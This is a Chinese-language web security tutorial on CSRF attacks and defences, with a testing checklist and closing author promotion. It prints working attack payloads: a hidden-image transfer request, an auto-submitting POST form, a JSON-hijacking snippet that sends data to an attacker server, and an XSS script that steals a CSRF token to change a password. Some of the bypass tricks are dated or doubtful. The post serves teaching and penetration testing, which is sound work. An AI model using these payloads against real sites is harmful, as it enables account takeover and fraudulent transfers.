CSRF漏洞:你的请求正在被第三方悄悄利用

作者:浅木·先生
来源:「浅木·先生」| 知识星球「软件测试成长圈」
所属专栏:《Web安全工程师进阶之路》


前言

CSRF(跨站请求伪造)是一个被很多人低估的漏洞。在渗透测试报告中,它往往被评为"中危"或"低危",因为它需要用户配合才能完成攻击。但实际上,CSRF配合其他漏洞使用,危害绝不亚于高危漏洞——攻击者可以强制用户修改密码、转账、删除数据,甚至通过XSS窃取Token绕过CSRF防护。

本文系统讲解CSRF的原理、利用方式和防御方案。


一、CSRF原理

1.1 什么是CSRF

CSRF(Cross-Site Request Forgery)是指攻击者诱导用户访问一个恶意页面,该页面利用用户已登录的身份,自动向目标网站发送伪造的请求。

关键点:用户不知道这个请求被发送了。

正常流程:
用户登录 bank.com → 获取Session/Cookie
用户转账给好友 → 浏览器自动带上Cookie → 转账成功

CSRF攻击流程:
用户登录 bank.com → 获取Session/Cookie
用户访问恶意网站(攻击者构造) → 自动发送伪造请求 → 钱被转走

1.2 与XSS的区别

漏洞 攻击原理 能否读取响应
XSS 在目标页面执行攻击者JS,窃取数据 ✅ 能
CSRF 利用用户身份发送请求,但不读取响应 ❌ 不能

CSRF只能"发出去",不能"拿回来"。


二、CSRF的利用方式

2.1 GET型CSRF

如果目标网站的敏感操作是通过GET请求完成的,直接构造一个IMG/IFRAME/SCRIPT标签即可:

<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

当用户访问这个页面时,浏览器自动请求这张图片(实际上是转账请求),带上Cookie,成功执行。

2.2 POST型CSRF

如果操作是POST请求,需要自动提交表单:

<html>
<body>
<form action="http://bank.com/transfer" method="POST" id="csrf">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

2.3 JSON劫持型CSRF

某些API返回JSON格式数据,可以通过覆盖数组构造函数来窃取:

<script>
function Array() {
    // 重写Array,窃取JSON数据
    attacker_server.log(this);
}
</script>
<script src="http://target.com/api/userinfo"></script>

三、CSRF实战利用

3.1 利用BurpSuite生成CSRF POC

BurpSuite Professional可以自动生成CSRF POC:

  1. 在BurpSuite中拦截请求
  2. 右键 → “Generate CSRF POC”
  3. 复制生成的HTML到恶意页面
  4. 诱导用户访问

3.2 绕过Token防护

很多网站会在表单中加入CSRF Token防护:

<form action="/change-password" method="POST">
    <input type="password" name="new_password">
    <input type="hidden" name="csrf_token" value="abc123xyz">
    <button type="submit">修改密码</button>
</form>

绕过思路1:利用XSS获取Token

<script>
fetch('/api/current-user').then(r=>r.json()).then(data=>{
    // 从JSON响应中提取token
    let token = data.csrf_token;
    // 发送CSRF请求
    fetch('/change-password', {
        method: 'POST',
        body: 'csrf_token=' + token + '&new_password=hacked',
        credentials: 'include'
    });
});
</script>

绕过思路2:利用URL编码绕过某些验证

<!-- 某些WAF对token检查不严格 -->
<img src="http://target.com/action?token=a%26b=c">
<!-- %26是&的编码,可能绕过某些检查 -->

3.3 配合存储型XSS实现持久化CSRF

最危险的组合:存储型XSS + CSRF:

  1. 在目标网站发表一篇博客,嵌入CSRF Payload
  2. 所有访问该博客的用户,浏览器自动发送CSRF请求
  3. 如果该用户是管理员,自动修改后台设置、添加后门账号

四、CSRF防御方案

4.1 验证Referer/Origin头

// 服务端检查请求来源
$referer = $_SERVER['HTTP_REFERER'];
if (strpos($referer, 'target.com') === false) {
    die("非法请求");
}

局限性: Referer头可以被篡改(部分浏览器),且用户可能关闭Referer发送。

4.2 CSRF Token(最佳方案)

// 生成Token(放在Session中)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// 表单中嵌入Token
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';

// 验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF验证失败");
}

4.3 验证码(用户体验差)

重要操作(转账、密码修改)加入验证码,但影响用户体验。

4.4 SameSite Cookie

Set-Cookie: session=xxx; SameSite=Strict
  • SameSite=Strict:Cookie完全不跨站发送
  • SameSite=Lax:GET请求可发送,POST不行
  • SameSite=None:不限制(需要配合Secure)

现代浏览器默认SameSite=Lax,对GET请求有一定防护。


五、CSRF测试清单

检查点 方法
关键操作是否都有Token 删除Token后操作是否失败
Token是否每次刷新 同一个Token能否重复使用
验证Referer头 伪造来源是否有效
验证码是否可靠 验证码是否能被识别
是否有XSS合并 XSS能否读取Token

总结

CSRF的核心是利用用户已登录的身份,伪造非用户本意的请求

  • GET型CSRF:构造IMG/SCRIPT标签
  • POST型CSRF:自动提交表单
  • 最强防御:CSRF Token + SameSite Cookie

配合XSS使用时,CSRF的威力会大幅提升,是渗透测试中不可忽视的一环。


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈


💡 AI工具推荐

如果你在研究AI编程或大模型应用,以下工具值得关注:

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐